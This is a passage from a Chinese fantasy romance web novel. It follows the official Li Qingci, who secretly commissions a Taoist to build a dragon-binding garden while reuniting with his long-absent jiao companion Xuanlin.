玄鳞捏他的手指头:“行,睡吧。” “嗯。” 清晨。 李青辞起床推门一看,地上落了一层厚厚的霜雪。 他洗漱完回到屋里,玄鳞还闭着眼躺在床上。 李青辞问他:“今天起吗?” 玄鳞拉过被子蒙在头上:“不起,外面风好大,空气干就算了,还有沙子。” 李青辞没说旁的,隔着被子拍了拍他的胸口。 他散下帷帐,把屋里五个水盆里的水换上一遍,里面又多加了一些气味清新的草药。 做好这一切,李青辞整理好官帽,朝外走去。 现在天冷了,傍晚他们就不出门散步了,就手拉着手在院子里慢慢转悠。 适逢年节。 第二天不用当值,李青辞多点了一盏烛火,坐在桌前翻看图纸,他想着在门口建造一个小型水车,省得屋里干燥。 怎么解决上冻的问题呢? 李青辞拧着眉思索,如果周围都点上炭盆的话,消耗太大,太过奢靡。 而且室外的空间空旷,还有风,炭火燃烧得很快,时不时就要换炭,既费时又费力。 直到过了子时,李青辞也没想出解决的办法,他眨了眨酸涩的眼睛,摁着眉心朝床边走。 他一上床,玄鳞就踢开了身边的水袋,一把搂住他。 这些水袋是李青辞自己做的,里头那层是用羊皮囊做的,外面又用柔软的布料缝了个类似荷包的布袋套在其上。 李青辞从初秋就开始做,直到入了冬,也就做出了四个。 但好在做出来的成品差强人意,李青辞不在的时候,玄鳞勉强接受了水袋。 今儿白天忙活许久,李青辞现下很疲惫,他趴在玄鳞身上,脸埋在他颈窝,一会儿就沉沉睡了过去。 玄鳞搂着人满心烦躁,眼睛一会儿睁开,一会儿闭上。 床脚的尾巴甩来甩去,频率越来越快,在玄鳞又一次睁眼时,戛然而止。 尾巴变成一双长腿,玄鳞起身,轻轻拍着李青辞的脸颊:“小崽儿,醒醒。” 李青辞困得不行,闭着眼咕哝一声。 见他醒了,玄鳞低声说了一句:“我出去泡个澡,一会儿就回来。” 李青辞只想睡觉,胡乱嗯了一声。 缓了缓。 等他反应过来,玄鳞说的是什么话时,心里霎时一惊,困意全消,他猛地睁开眼。 室内已空。 李青辞急促地眨了眨眼,像是赤身裸体置身于冰天雪地,吞了一肚子的冰,浑身都凉透了。 直到天亮,他一直睁着眼。 从这晚以后的数十天,他夜夜不得安寝。 直到冬去春来,李青辞才恢复正常的起居。 跟之前一样,一切如常,一个人生活。 等到夏初,京城的调令下来,他要启程返京了。 李青辞照常收拾行囊,一刻都没有多等,时辰一到,他就乘着马车离去。 没什么好等的,玄鳞总会来找他的。 不过时间早晚而已。 一路颠簸折腾,马车换成船只,船只又换回马车。 行到一处,天气实在炎热,闷得让人喘不过气来,马儿也累得抬不起蹄子。 李青辞便让人在原地修整,旁边恰好是一条河流,他牵着马去喝水。 这时正值夏汛,河水泛滥浑浊。 李青辞牵着马,有些纠结,别把马儿喝坏了肚子,回去他自己怎么走。 可是手里的马儿喷着热气,刨着前蹄,脑袋一个劲儿地往河边伸。 李青辞叹了口气,稍微松开一些缰绳。 马儿喝水的间隙,他下意识地打量此处的地势,不远处就是成片的村庄,这河堤修得有些浅了。 思绪漫无目的,直到一声尖锐的哭喊声响起,李青辞才回过神来。 “囡囡!囡囡!别怕!娘这就来救你!” 河中有人落水,抬眼看去,就见一个穿着红衣服的小姑娘在浑浊的河水中上下起伏,身影若隐若现。 扑通一声,小姑娘的娘也跳进了河中,但是她离得远,河水流动较快,离小姑娘还有一大截儿距离。 岸上有两三个汉子在快速奔跑,想从岸上跑到小姑娘身前拦截她。 李青辞快速扫视一眼,当机立断。 他朝水中纵身一跃,快速游到河中,拦在小姑娘前头。 小姑娘虽然只有十一二岁,但是她个头长得不低,有些重量,再加上她落水惊慌,手脚一直扑腾,李青辞抱着她踩水有些吃力。 这时,岸上赶过来的几个汉子,扑通跳进水里,游到近前把他二人拉过来。 前头泅水的汉子,一看就是个浪里白条,水性十分好。 他接过李青辞手里的小姑娘,一边抱着人踩水,一边还能张嘴跟李青辞道谢。 “多谢您救命之恩,上岸后您一定要来家里吃顿饭,让我们好好感谢您。” 李青辞抹了把脸上的泥沙,眯着眼摇头。 一行四五个人朝岸边游去,李青辞缀在后面。 突然,他小腿抽筋,一个浪头打过来,他登时被淹在水里。 手脚一旦失去控制,整个人就像轻飘飘的一张纸,李青辞顺着湍急的河水,快速朝下游漂去。 李青辞沉在水中,竭力保持镇定,想恢复手脚的控制,奈何前头捞小姑娘时,力气耗了大半,现在他手脚绵软无力。 挣扎许久,他嘴里呛了几口水,意识渐渐昏沉。 在意识弥留之际,李青辞生出一股浓烈的绝望和不甘。 他不想死,他还不能死。 岸边大声呼唤着:“救人!快救人!!” 这时,一根长长的桅杆横在李青辞身前,但是李青辞却没有力气抓住了。 肺里的空气耗尽,他整个人彻底失去控制,顺着河流而下。 电光火石间,一只手猛地攥住他的脚腕,拽着他往岸边拉扯。 岸边的百姓纷纷出力,抛杆子的,伸手拽人的,好一会儿忙活,终于把李青辞从河里捞了上来。 李青辞在河里呛了几口水,被人拉上来时躺在岸上昏死过去。 附近的百姓和他的随从,立刻将他抬上马车去城里看大夫。 等李青辞再度恢复意识时,离落水已经过去了一天一夜。 身上起了高烧,他脑袋昏昏沉沉,觉得嗓子干渴无比,身上忽冷忽热,但李青辞却在心里笑了起来,他还活着。 太好了,感谢上苍垂怜。 在此地停留了五天,李青辞身上的烧反复两次,终于彻底退了下去。 常言道,病来如山倒,病去如抽丝。 这一场风寒,李青辞清瘦不少,眉眼透着一股很深的倦怠。 他坐在马车里,忽然瞥见了胸前发丝里的一根银白,他拔掉白发,挑开帘子望着车外,眼神虚散着,落不到实处。 凡人的生命很脆弱,寿命也真的很短暂。 世事无常,不知道哪一天就会突然死去。 李青辞摸着心口的鳞片,心想,如果他这次死了的话,玄鳞该去哪找他呢。 他原以为他还有很长的时间,可以陪着玄鳞挥霍,但其实不是的,他不再年轻了,一场意外,就有可能夺去他的生命。 接下来的每一天,都是日薄西山。 他不想把人生里最美好的时光,都浪费在空等上。 …… 回到京城后,李青辞任工部都水司主官,奉皇命,督造皇宫西苑重建。 晚间。 李青辞坐在桌后,环顾一圈空荡荡的房间。 他攥着心口的鳞片,垂头沉思良久。 直至后半夜,他闭了闭干涩的眼睛,提笔书写,去信给白云观。 …… 自从回京后,李青辞忙得脚不沾地,一天到晚很少有空闲的时间,他既要忙着皇家西苑的督造,又要操心霖泽园的事宜。 霖泽园之前修建的工程全部推倒重来,一应布局和用料全都由他亲自过目。 这天。 李青辞休沐,他请白云观的赵玄真喝茶一叙。 赵玄真听完李青辞的话,当即皱起眉:“你到底要做什么?是要对付谁?” 李青辞淡淡道:“这重要吗,赵道长只需要提供阵图即可,剩下的事我着其他人去办,不会让你担干系。” 赵玄真嗤了一声,没说旁的。 李青辞看出了他眼里的鄙薄,但是并不在意。 这个赵玄真今年二十有一,在道术方面可谓是天赋异禀,有能力又是个年轻人,年轻气盛些、轻狂些,也实属正常。 赵玄真懒得跟这种俗人废话,他搁下茶杯,当即就要起身离开。 李青辞道:“你有能力不假,可白云观日渐式微,在当地受两任知府打压,现在观里每天的香客不过十数,大殿的神像金身斑驳,照你们观目前的情况来看,五年内也别想重塑金身。” 赵玄真身形僵住,维持着半起的身形。 李青辞道:“此番是我向朝廷请命,让你过来为皇家别院堪舆,不出五日,你师父给你寄报喜的信件就会送达。” 赵玄真当即就要质问他,为何对他们白云观了解得如此清晰。 视线一转,落在他身上的官袍,顿时明了。 他是都水司主官,掌天下水系,漕运比陆路快了两倍不止,消息最为灵通。 李青辞并不想威胁赵玄真,令他心生抵触,因此放缓声音:“你安心留在京里为皇家效命,顺道帮我一个小忙,此后你们白云观定会香火鼎盛。” “小忙?”赵玄真语气讥讽,怒吼道,“你让我布的是缚龙阵!稍有差池,我会受到反噬,到时候万劫不复,你能帮我解脱吗?” 第60章 我越来越舍不得你了 李青辞道:“这个阵法只是有备无患,很大概率是用不上的,赵道长不必为此担忧。” 赵玄真觉得他不知所谓,转过头,冷哼一声。 李青辞道:“听闻赵道长手里传下来一根雷击木,专克妖邪,我想要一截儿,不多,一乍即可。” 赵玄真听完,登时瞪大了眼睛,还没等他怒声驳斥。 李青辞的声音又响起了。 “我愿意为白云观捐一千两黄金,当做香油钱。” 赵玄真一时哑然,默了默,他咬牙切齿道:“雷击木在观里,我没带在身上。 李青辞轻笑道:“不妨事,你写一封书信,我着人送回白云观,来回也就半个多月,正好顺道把黄金运回去。” 赵玄真气势低下去,不情愿地点头。 不过,他也有要求。 赵玄真旋身坐下,与李青辞相对而坐。 “世上真龙难寻,常人难以见其踪迹,但近龙者,如蛟、螭等常出没于水泽处,别人或许察觉不出来,但是我能察觉到你身上有一股水蛟气息,你要抓的就是这条蛟。” 李青辞沉默,不置可否。 赵玄真从身上掏出一个两指宽一指长的瓷瓶:“等你事成之后,我要一瓶它的血,还有三枚心口的鳞片。” 李青辞眼神一凛,眉眼压得极低,阴沉地盯着赵玄真。 赵玄真怔住,莫名气虚,他吞咽一下,稍稍错开眼,避开李青辞的视线。 李青辞一改方才温和的态度,神色阴鸷,眼神带着浓重戾气:“赵道长想必听说过一句话,叫民不与官斗,我能调动白云观附近的漕军,赵道长再厉害,能以一当十,能以一当百吗?你观里的师父师叔伯、师兄弟能挡得住吗?” 赵玄真闻言大怒,什么也顾不得了,他猛地拍案,朝着李青辞厉喝:“你敢!你敢乱杀无辜、草菅人命!” 李青辞神情轻蔑,下巴微抬,一副高高在上的姿态:“什么叫无辜,白云观里藏有邪佞歪道,蛊惑百姓,按律依法查处,这叫明正典刑!” “我自然不会造下杀孽,但死罪可免,活罪难逃,府衙里有的是空闲的牢房,关个三五十载,不成问题。” 赵玄真怔愣地瞪大眼睛,一脸不可置信地看着李青辞。 他万万没想到李青辞竟然是这种人,亏他之前还以为李青辞是个好官。 赵玄真几番挣扎,终是低下了头,他掀起衣袍,跪在李青辞的身前:“算我求你,给我半瓶血,一枚鳞片行吗? 李青辞沉默,他低头看着眼前弯下去的脊背,暗叹一声:“你要血和鳞片做什么?” 赵玄真抬起头,眼睛红了一圈,语气哽咽道:“我师父才四十二岁,降服一只吃人的虎精时,腹部被獠牙咬穿了,虽然留下一条性命,但年岁不永,最多能撑两三年。” “你要抓的这条蛟,道行不浅,已有化龙之势,我想用他的血和鳞片炼丹,为我师傅续命。” 李青辞没有答应,也没有否决:“我现在做不了主,等日后我再答复你。” 赵玄真急忙问:“要多久?” 李青辞眼神迷茫一瞬,轻声道:“多久?我也不知道,等着吧。” 赵玄真满腹怀疑:“你莫不是在诓我?” 李青辞嗤了一声:“亏你还是修行之人,命运一事,何必强求,你师傅有这个福气,他就等得到,没这个福气,死了也不亏。” 赵玄真同样嗤之以鼻:“话说的好听,站着说话不腰疼,不强求,那你抓这条蛟干嘛?” 李青辞怔了怔,莞尔一笑:“也是。” 赵玄真见状脸色复杂,难以名状。 两人不欢而散。 …… 燥热的天气,渐渐过去,迎来清爽的秋天。 李青辞站在月湖旁,低头看着清澈的湖水,伸手掬起一捧,凑到脸前嗅了嗅。 没有闻见什么味道。 整个园子的地基重新铺就一遍,所用的木材和石料都是经过特殊处理的。 远远的,赵玄真一看见李青辞,就气不打一处来。 早知道他就不来京城了,现在每天只能睡两个半时辰,白天在皇宫西苑当值,晚上还要来这儿赶工。 李青辞走到他近前,问道:“还有多久能完工?” 赵玄真绷着脸道:“最快也要三个月,我就只有一个人,两只手,就算我一天不吃不睡,也只能画十张符,你这个园子这么大,那位又是个了不得的,少说也得要上百张符才能压得住。” 李青辞没有操之过急,缓声道:“有劳赵道长,不急,你仔细着来,别出了岔子。” 赵玄真忍了又忍,还是没忍住,开口问道:“我到底要等到什么时候?这都过去一个多月了,你什么时候能给我个准话?” 李青辞没回答,他也不知道要等到什么时候,没有人会给他一个准话。 赵玄真看着他离去的背影,恨不得引一道雷劈了他。 晚间。 李青辞满身疲惫,头发擦到半干,就撂下帕子上床安寝。 他脸朝里,保持一个侧躺的姿势,身子微微蜷缩着。 在他熟睡之际,合拢的帷帐被挑开,被窝里钻进来一具泛着凉意的身躯。 他蜷缩的身子被打开,整个人落进一个宽阔坚实的怀抱里。 李青辞睡得半梦半醒,觉得鼻息间充斥着熟悉的味道,好真实的感觉,不同以往做梦的时候。 心有所感,李青辞从昏沉的意识中醒来。 他刚一有动作,玄鳞就照着他屁股扇了一巴掌:“真是没良心的,又不等我,说话不算话。” 李青辞此时心情复杂得难以言喻,很快,多种情绪被掩在怒意和怨恨之下。 他扯了扯嘴角,神情讽刺:“你几时说话算话过?” 黑暗中,他的所有神情都落入一双暗金色的眼睛里。 玄鳞感觉他不太对,下意识放轻了声音:“小崽儿,怎么啦?” 李青辞听出了他声音里的小心,闭上眼,敛去眼中的一切情绪,平静道:“就是好长时间没见到你,有点想你。” 玄鳞啧了一声:“那附近的河水好多泥沙,一点都不干净,我就往远飞了一点,也就泡了一会儿,这不很快就回来了。” 确实。 很快。 跟十年八年比起来确实快了很多。 九个多月就回来了。 李青辞伸手搂住玄鳞的脖子,在他耳边问:“你隔一段时间就要出去泡水,是必须要泡吗?不泡会怎么样?” 玄鳞语气随意:“不怎么样。” 李青辞攥了攥手,维持平静的语气:“所以你不泡水并不会死。” 玄鳞登时皱起眉,嫌弃道:“你脑子里整天在想什么,我是蛟,又不是离了水不能活的鱼。” 李青辞吞咽一下,声音有着细微的颤抖:“那你每次出去泡水是为了什么?” 玄鳞理所当然道:“当然是为了舒服,这就跟你冬天喜欢泡热水澡一样。” 李青辞抬手扶额,笑了一声,笑容极为苦涩和嘲讽。 原来只是为了舒服。 只是为了舒服!!! 并不会怎么样,不会死、不会伤。 既然这样就没什么好担心的了,那些贫苦百姓可能一辈子也泡不上一次热水澡,不照样好好活着。 舒服不舒服的,就没那么重要了。 李青辞双手攥得很紧,一股压抑许久的怨怼翻腾上来。 他抬手在玄鳞背上狠狠砸了一拳,凑到他脖子上毫不留情地咬下去。 玄鳞语气诧异:“好好的,舔我干什么?” 李青辞怒极,气得理智全无,他摸着玄鳞嘴唇:“嘴张开,舌头伸出来。” 玄鳞一头雾水:“你要干什么?” 李青辞提高音量:“伸出来!” 玄鳞听得直皱眉,拧他的腰:“你瞎叫唤什么,怎么了?是哪疼想让我给你舔吗?” 李青辞沉默不语。 玄鳞拍他的脸颊:“说话,是哪疼吗?” 李青辞垂下眼皮:“我想让你给我舔舔舌头。” “舌头怎么了?破皮了吗?还是你又吃田螺了?” 说着,玄鳞低下头,探进李青辞嘴里,还没开始舔,他的舌尖骤然被咬住了。 玄鳞愣住了。 好陌生的感觉,他很久都没有体会过了,想了一会儿,才反应过来这是疼。 他已经很久没疼过了。 舌尖传来一阵细密的疼痛,鼻翼翕动,嗅到一股血腥味儿。 玄鳞后知后觉,他好像流血了。 寂静里,一声吞咽的咕嘟声显得十分刺耳。 玄鳞立刻退出来,快速掐住李青辞的脖子:“别咽!” 可惜晚了。 话音刚落,李青辞就发出一声痛苦的哀叫,他整个人痉挛起来,蜷缩着身子,紧紧捂着腹部。 好烫!太烫了! 玄鳞一把扯开他的手,手掌贴在他腹部,缓缓用力,同时低头覆在他唇上,轻轻吹气。 过去好一会儿,那股仿佛要将李青辞烧成灰烬的烈焰,终于消弭。 李青辞浑身湿漉漉的,像刚从水里捞出来一样,全身都是汗,脸色青白,嘴唇一点血色都没有,整个人看上去虚弱极了。 玄鳞松松抱着他,不敢用力,手忙脚乱,简直不知如何是好。 这时,李青辞感受着嘴里的腥甜,勾起嘴角笑了起来:“玄鳞,疼吗?” 玄鳞怔了怔,这才反应过来,李青辞是想咬疼他。 玄鳞气得牙根痒痒,戳着李青辞的脑门说:“你个傻子!你提前跟我说啊,我伸出舌头让你咬,心里也有个准备,就不会让你把血咽下去了。” 李青辞挑衅的笑容僵在脸上,默了默,鼻尖酸涩难忍。 玄鳞见他眼圈红了,连忙把他搂进怀里:“你到底怎么了?身上哪还疼吗?是肚子还难受吗?” 李青辞抽了抽鼻子,抬起酸软的手臂搂住他的脖子,跟他紧紧贴着脸:“我没事,就是突然想闹脾气。” 玄鳞松了一口气,同时气得不行,上下扫了他一圈,最终拧了一下他的屁股肉:“你真是吃饱了撑的,非得找揍,不挨打心里不痛快是不是!” 李青辞不说话,手脚并用,紧紧缠在他身上。 玄鳞摸着他汗湿的脖子,叹了口气。 他操纵水流把人清洗干净,用手指梳理他的头发。 李青辞趴在他身上,搂着他的脖子睡得很沉。 第二天清早。 李青辞刚睁开眼。 耳边就响起一声叹息。 “我真是不知道你怎么回事?每次回来你身上的肉都要少,就这么一会儿,也不知道你怎么折腾的。” 李青辞道:“我升官了,现在操心的事情比较多,瘦一点也正常。” 玄鳞语气悻然:“什么破官儿,都把人当瘦了,还不如不升。” 李青辞不置可否,只含糊嗯了一声。 心想,还是要升官,升官之后权力更大,能做到的事情更多。 他想改变京城内的河渠流向,将百姓倾倒的生活污水与正常的河流区分开来,形成两套河渠水系。 前两日,有几位大臣联名上奏,说他们宅院后的水渠臭气熏天,上游百姓家里的粪水都往河里倒,他们希望都水司能够整改。 这正好是个契机。 正想着,他的脸颊被戳了戳,玄鳞问他:“想什么呢?这么入神,天快亮了,你今天要不要出去干活?” 李青辞点头:“去。” 玄鳞揉了揉他的脑袋:“走吧。” 两人坐上马车,玄鳞伸开腿踢了踢:“马车是换了一个吗?感觉比之前大了些。” 李青辞点头。 玄鳞啧了一声:“行吧,不过还是好小。” 李青辞道:“先忍一忍,以后你就不用坐了。” 玄鳞听完高兴:“怎么,你又要升官了?可以给我换大马车?” 李青辞轻笑一声,没说话。 玄鳞双手捧着他的脸揉搓,眼中满是笑意:“小崽儿真厉害,以前我还真没看出来,你这官当得有模有样的,挺像那回事儿,小脸一板,还挺唬人。” 李青辞勾了勾嘴角。 玄鳞轻声叹了口气,语气有些怅惘:“虽然你个头没长,但我总觉得你好像长大了。” 不知道什么时候开始长的,小崽子的眼睛没有以前亮了,身上那股幼态彻底褪去了,现在是个成熟的大崽子了。 小崽子只到他胸口的时候,两个眼睛圆溜溜的,又明又亮,巴巴地看着人,别提让人多稀罕了。 现在的小崽子,眉眼萦绕着一股倦怠,感觉很累的样子,像是很久没有睡过一个好觉了。 玄鳞说完良久,李青辞敛着眼皮没言语。 玄鳞也没再说话,指腹抚摸他的眼尾,很认真、很专注地凝视着他。 李青辞对上深沉的视线,弯着眼睛笑了笑。 玄鳞忽然皱起眉头,他凑近李青辞眼前:“你脸怎么了?怎么有这么多条细纹?是划到哪了吗?还是谁打你了?” 小崽子笑的时候,眼尾会泛起几条褶皱,就像他鳞片上的划痕。 两人离得很近,悠长湿热的气息打在眼睛上好一会儿。 李青辞闭着眼,语气平静:“没什么,笑多了就会这样,人都是这样的。” 玄鳞扳过他的脸,指腹一直在他的眼周刮擦,像是在试图抚平他的皱纹。 玄鳞压着眉眼,神情不虞,语气烦躁起来:“这玩意怎么回事?压不平吗?” 李青辞缓声道:“你还记得咱们之前在河里见到的那只乌龟吗?它壳上有很多划痕,就像我脸上的这些细痕一样,这些痕迹一旦留下,就永远没有办法再祛除了。” 玄鳞疑问:“那你会蜕皮换鳞吗?这张脸会换一个新的吗?” 李青辞摇头。 玄鳞抿了抿嘴,语气大失所望:“你们人怎么这样,用旧了的皮竟然不能换掉。” 李青辞摸着自己的脸,心想,这一刻他这张脸是最新的,以后会越来越旧。 玄鳞摸着他的眼睛说:“要不你以后少笑点儿,这玩意儿像是刻在皮肉上一样,我瞧着真不顺眼。” 玄鳞像是不信邪一样,一直抚着李青辞的眼尾:“这东西疼不疼?” 李青辞摇头:“不疼。” 顿了顿,他又道:“你快给我揉疼了。” 玄鳞愣了一下,移开手指,发现李青辞眼尾红了一圈儿,他略有些心虚,凑上去舔了舔。 舌尖在那些细纹上狠狠碾了两下。 李青辞闭着眼没动。 玄鳞脑袋往后稍稍一退:“再笑一下。” 李青辞照做。 玄鳞凝神盯着他的眼睛看,那些细纹丝毫未变。 玄鳞泄气了,破天荒的感觉到无能为力。 他无奈地叹了一声。 眼神落在李青辞低垂的眉眼上,玄鳞心里不大高兴:“算了,小崽儿,你还是经常笑吧,这玩意儿不疼不痒的,要长就随它长吧,开心更重要。” 李青辞没抬眼,轻声问:“你觉得我这样难看吗?” 玄鳞语气诧异:“这跟难看有什么关系,我的鳞片上之前也有很多划痕,非常深,甚至有的鳞片都要断成两截了,不过后来蜕皮,它们都换掉了。” 玄鳞说完,见李青辞垂头坐着,看着好像不太高兴的样子,便开口打趣他:“你是一个漂亮的小崽儿,脸上就算多几条划痕也是漂亮的。” 李青辞听完心情复杂,有些无语,一时哑然。 玄鳞又开始逗他,两根手指戳着他的双颊:“来,冲我笑一个!” 李青辞不想理他,转过头不说话。 玄鳞追上去,手指一直戳来戳去:“笑一个,晚上我给你做好吃的。” 李青辞简直头都大了,他三十多岁的人了,还让人拿吃的哄。 脸颊又一次传来凹陷感时,李青辞气笑了。 玄鳞开心地笑了起来:“这样才对嘛,哎呀,小崽儿真漂亮,笑起来就更漂亮了!” 李青辞绷着脸,结果没绷住,死死抿着嘴角笑了起来。 玄鳞把他搂进怀里,狠狠揉了两下,脸贴着他的额头磨蹭,低声感叹:“我怎么有这么好的一个小崽儿,虽然经常像刺猬一样扎手,但也有很乖的时候,况且,又孝顺还漂亮。” 李青辞听到孝顺两个字,深吸一口气,极为无语地翻了个白眼儿。 这条蛟的遣词用句,真的有待长进。 玄鳞捏着他的下巴,往上抬了些,低头用嘴唇蹭他的鼻子。 李青辞不明白这突如其来的动作是什么意思,他抿了抿嘴,没有吭声。 玄鳞视线下移,落在红润的嘴唇上,凑过去跟它厮磨。 四片唇瓣相抵,摩擦时泛起一阵麻痒,勾心挠肝一样。 李青辞怔住了,心跳砰砰,唇上忽然一湿,嘴唇被含住吮舔。 很轻柔的力道,那股清冽的气味像是滔天的洪水般灌进了他肺里。 李青辞感觉呼吸困难,他微微张开嘴,深喘了一口气。 这时,唇缝被挑开,玄鳞舔了两下里侧的嫩肉,然后就离开了。 李青辞下意识舔着自己沾满水渍的嘴唇,怔怔问:“你在对我做什么?” 玄鳞搂紧他,揉着他的脑袋,把人摁在自己肩上,用脸贴他的脑袋,低笑一声:“我在疼你。” 李青辞茫然:“疼我?” 玄鳞扣住他的脖子摩挲:“对,我在疼你。” 李青辞不明白:“为什么?” 玄鳞好笑:“这哪有为什么,你越长越好,越来越可心,我想疼你。” 李青辞没有再问,伸手抱紧他的腰:“玄鳞,我越来越舍不得你了。” 玄鳞听完笑了起来:“算你有良心。” 他一下下拍着李青辞的腰,脸上的笑容越来越大:“小崽儿真乖,来,抬头,我再疼疼你。” 李青辞闷在他肩上不动:“晚上再疼我好不好?一会儿我还要见人呢。” 玄鳞皱了皱眉,鼻翼翕动,啧了一声:“行吧,正好你也快到地方了,等晚上我好好疼你。” 李青辞脸紧贴着他温凉的脖子,希望借此消下自己脸上的滚烫。 好在玄鳞没再说话,只是轻轻拍着他的后背,没一会儿,李青辞就平复了心绪。 下车前,李青辞握住玄鳞的手。 “晚上来接我。” “晚上来接你。” 两人异口同声。 李青辞开心地笑了,凑过去贴了贴玄鳞的脸,朝他挥手:“我走了。” “行,去吧。” 李青辞下了车,先去工部衙署点卯,处理了半个时辰的公文,然后骑马去皇家西苑监督。 晌午吃饭时,李青辞就拿了两个饼子,一边塞在嘴里嚼着,一边骑马去霖泽园。 他扫了一眼正在清淤的湖底,觉得还是有些浅,便吩咐人再挖深三尺,底下多铺一层石头,岸边再多栽些水草。 身边被李青辞抓过来的赵玄真,苦着脸说了一句:“你这样的话,半年也没办法完工。” 李青辞语气淡然:“不着急,慢慢来吧,务必要做到最好。” 赵玄真烦躁地搓了搓脸,转身走了。 傍晚。 李青辞回到衙署点卯,快步朝外走去。 远远的,就看他家的马车窗户大开,一个黑色身影坐在窗边。 玄鳞支着脑袋,直直看着他。 离近一些后,能看到那双暗金色眼睛里的温柔笑意。 李青辞的心忽然被击了一下,像是玄鳞戳他脑门那样,只不过这次手指戳在了他心尖儿上。【你现在阅读的是 】 60-70 第61章 玄鳞恍然大悟,原来是爱…… 李青辞抬脚跨上马车,腋下多出两只大手,将他抱进了马车里。 玄鳞把人搁在腿上:“现在天色还不算黑,我带你去城外找吃的,好不好?” 李青辞用力点头:“好!” 两人下了马车,玄鳞搂住李青辞的腰,带着他走朝城门口走。 李青辞脚不沾地,他轻轻晃了晃两条腿,无奈地叹了口气。 玄鳞始终保持一个步调,步伐不紧不慢甚至称得上悠闲,但是李青辞眼睁睁看着他们两个人的身影与无数人快速擦肩而过,没多大会儿,他们就站在了城门外。 玄鳞单手往上一抛,李青辞在空中短暂停了一瞬,玄鳞接住他,将他抱在身上。 李青辞兜头落下来一件厚重的布料,耳边风声呼啸,不一会儿,风停了,脑袋上的毯子被掀开。 玄鳞牵着他的手晃了晃:“这一片山林里头有老虎、豹子、山羊、小鹿、狼,还有各种各样长翅膀的东西,你看看想吃什么?” 李青辞愣住了,他茫然地环顾四周,再三确认后,深吸了一口气。 好家伙,这是跑到皇家猎场来了。 玄鳞催促一句:“说话,想吃什么?” 李青辞压下心里的惊愕:“都行,你弄什么我吃什么。” 玄鳞看他瘦了一圈的脸蛋,想了想道:“这附近有一头小鹿,抓回来给你烤肉串吃吧,拆下的骨头,明早给你炖汤下馄饨。” 李青辞没有意见:“好,都听你的。” 玄鳞哎哟一声,双手捧着他的脸揉搓,啧啧道:“这么乖啊。” 李青辞听完更乖了,歪头去蹭他的手心。 玄鳞心软得不行,眼里满是欢喜和宠溺,当即凑过去,用嘴唇磨了磨李青辞的脸蛋。 一步路都不舍得让他走,把他抱在身上,朝一棵树走去:“这上面结的是你喜欢的梨子,你去摘吧,我去抓小鹿。” 李青辞仰头看着树梢青黄色的大梨子,郁闷道:“我够不着呀,也不会爬树。” 玄鳞低笑一声,将他猛地往上一抛,还没等李青辞张嘴哇哇大叫,他就被一口气接住了。 玄鳞站在底下,仰头看他:“你自个在这玩儿吧,一会儿我就回来。” 李青辞听完,心先是猛跳两下,随即平缓,他知道,他现在这种情况玄鳞不可能一走了之。 他哦了一声:“知道了!你要快一点,天马上要黑了。” “放心吧,吓不着你,天黑前肯定把你接下来。”声音渐行渐远。 李青辞浮在半空中,划着手臂缓缓向上,去摘树顶的大梨子。 一连摘了七个梨子,他的衣摆都快兜不住了,便停了手,仰头朝远处眺望。 长得高真好呀,能看得好远。 天边余晖暗淡,李青辞朝下慢慢飘去,刚飘到一半,腰身就被勒住,紧接着急速下坠。 玄鳞拿掉他身上的梨子,牵着他的手往前走。 不远处地上架起一个火堆,整齐的肉串架在火上炙烤。 玄鳞坐下翻动肉串,李青辞搂着他另一条胳膊,脑袋歪在他肩上,小口舔着刚采下来的蜂蜜。 殷红肉串上刷着一层厚厚的蜂蜜,渐渐,一股浓郁的甜香味儿弥散开来。 玄鳞动了动胳膊:“蜂蜜还刷不刷?” 李青辞想了想,答道:“不刷了,等会儿想喝梨汤,已经很甜了。” “行。”玄鳞无有不应。 底下铺着毯子,坐在上面暖暖的,李青辞背靠着玄鳞的侧肩,一手拿着肉串吃,另一手握着筒子喝梨汤,两只脚时不时翘起来,偶尔还用脑袋去撞玄鳞的脑袋。 玄鳞撑着他的后脑勺,见他这副一点不得闲的样子,忍不住笑开。 “你真能忙活。” 玄鳞递给他一串温热的肉串,顺道擦去他嘴上的油渍。 李青辞腮帮子鼓鼓囊囊的,他眯着眼睛笑了笑,声音含糊:“因为开心。” 玄鳞问他:“怎么了?是捡钱了?还是升官了?这么高兴。” 李青辞摇头:“都不是,是因为我早上睁开眼睛就看到你了,所以我很开心。” 玄鳞愣住,心头直颤,他猛地一闭眼,狠狠搓了搓李青辞的大腿,双手抄起人,把人搁在怀里搂着:“真乖,来,我喂你吃。” 李青辞笑得眼睛眯成一条缝,去蹭他的脸。 玄鳞感觉自己的心,像李青辞的腮帮子一样,鼓鼓囊囊的,有点胀,还有一种说不清道不明的酸和麻。 李青辞专心吃饭,咀嚼得很认真。 玄鳞低头看着他,眼神温柔专注。 李青辞吃饱喝足,肚子撑得溜圆,他往下一倒,脑袋枕在玄鳞腿上,仰头看着天上的月亮。 玄鳞仍是低头看着他,手掌一直落在他脸上,一会儿摸摸眼睛,一会儿摸摸鼻子,一会儿揉揉嘴巴,时不时挠挠他的下巴。 李青辞不堪其扰,挥开他的手:“玄鳞,你现在有点烦,影响我看月亮。” 玄鳞一听,立刻把脸正正移到他脸前,完全挡住他的视线,冷声问:“看我,还是看月亮?” 李青辞哽了一下,握住他的手腕:“看你,你最好看。” “这还差不多。”玄鳞弹了一下他的脑门,然后稍稍后移,腾出空间给他看月亮。 但是视线空出来之后,李青辞的眼神随之移动,依旧落在玄鳞脸上。 头顶的满月洒下皎洁清辉,近前的火堆燃着昏黄的火光,燃烧的木头散发出阵阵清香。 除了火堆里偶尔发出的哔啵声,四下很安静。 一躺一坐的两个人,四目相对,视线黏在一起。 两个人的脸越挨越近,梨子的清甜味儿和湿润的清冽味儿混在一起,愈发浓郁,好似都在鼻息间。 李青辞心跳怦然,他明明刚喝完一筒梨汤,这下喉间又开始干渴,他舔了下嘴唇,剧烈的心跳让他有些不适,微张着嘴小口喘气。 玄鳞揽在他后颈,慢慢抚摸他的脸,几乎贴着他的嘴唇说话:“小崽儿,我疼疼你好不好?” “……好。”李青辞声音微哑。 玄鳞再一次收拢手臂,揽紧他的腰身,低头在他脸上舔吻。 李青辞的额头、眼睛、鼻子、脸蛋儿,都被一一仔细舔过,随着唇舌的下移,李青辞的心跳越来越急促,他觉得自己快喘不上气了。 细密的舔吻终于来到李青辞嘴角,李青辞快按捺不住了,他深吸了一口气,还没吐息,嘴唇忽然被含住了。 玄鳞一边揉他的后颈,一边含着他的嘴唇舔吻,慢慢的,舌头探进凹陷的唇缝里,进入温暖,唇舌相抵,绞缠在一起。 李青辞缓缓闭上了眼。 